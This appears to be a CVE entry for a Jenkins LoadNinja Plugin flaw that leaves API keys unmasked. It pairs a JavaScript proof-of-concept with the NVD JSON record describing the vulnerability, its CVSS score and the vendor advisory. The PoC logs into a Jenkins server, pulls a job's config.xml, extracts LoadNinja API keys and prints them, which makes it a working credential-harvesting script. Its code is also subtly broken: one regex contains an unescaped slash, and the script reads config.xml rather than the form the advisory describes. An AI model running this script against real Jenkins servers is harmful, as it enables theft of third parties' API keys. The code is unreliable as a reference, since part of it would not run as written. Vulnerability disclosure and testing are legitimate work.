CVE-2026-33004

// CVE-2026-33004 PoC - Jenkins LoadNinja Plugin API Key Exposure // This PoC demonstrates how to identify exposed API keys in Jenkins job configuration const axios = require('axios'); async function checkJenkinsJobConfig(baseUrl, jobName, username, apiToken) { try { // Get Jenkinscrumb for CSRF protection const crumbResponse = await axios.get(`${baseUrl}/crumbIssuer/api/json`, { auth: { username, password: apiToken } }); const crumb = crumbResponse.data.crumbRequestField; const crumbValue = crumbResponse.data.crumb; // Access job configuration page const configUrl = `${baseUrl}/job/${jobName}/config.xml`; const response = await axios.get(configUrl, { auth: { username, password: apiToken }, headers: { [crumb]: crumbValue } }); // Search for unmasked API key patterns // Look for LoadNinja API key in configuration const apiKeyPattern = /<loadNinjaApiKey>([^<]+)<\/loadNinjaApiKey>/g; const matches = response.data.match(apiKeyPattern); if (matches && matches.length > 0) { console.log('[+] Potential exposed API keys found:'); matches.forEach(match => { const apiKey = match.replace(/<loadNinjaApiKey>|</loadNinjaApiKey>/g, ''); console.log(' Key:', apiKey); }); return matches; } console.log('[-] No exposed API keys detected'); return null; } catch (error) { console.error('Error:', error.message); return null; } } // Usage // checkJenkinsJobConfig('http://jenkins-server:8080', 'job-name', 'user', 'api-token');

{"cve": {"id": "CVE-2026-33004", "sourceIdentifier": "[email protected]", "published": "2026-03-18T16:16:28.457", "lastModified": "2026-03-21T00:17:45.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Jenkins LoadNinja Plugin 2.1 and earlier does not mask LoadNinja API keys displayed on the job configuration form, increasing the potential for attackers to observe and capture them."}, {"lang": "es", "value": "El plugin de Jenkins LoadNinja 2.1 y versiones anteriores no enmascara las claves API de LoadNinja mostradas en el formulario de configuración del trabajo, lo que aumenta el potencial para que los atacantes las observen y capturen."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:loadninja:*:*:*:*:*:jenkins:*:*", "versionEndExcluding": "2.2", "matchCriteriaId": "9BCE27DC-E2B1-4969-AE65-2E2CEA7C0514"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2026-03-18/#SECURITY-3642", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}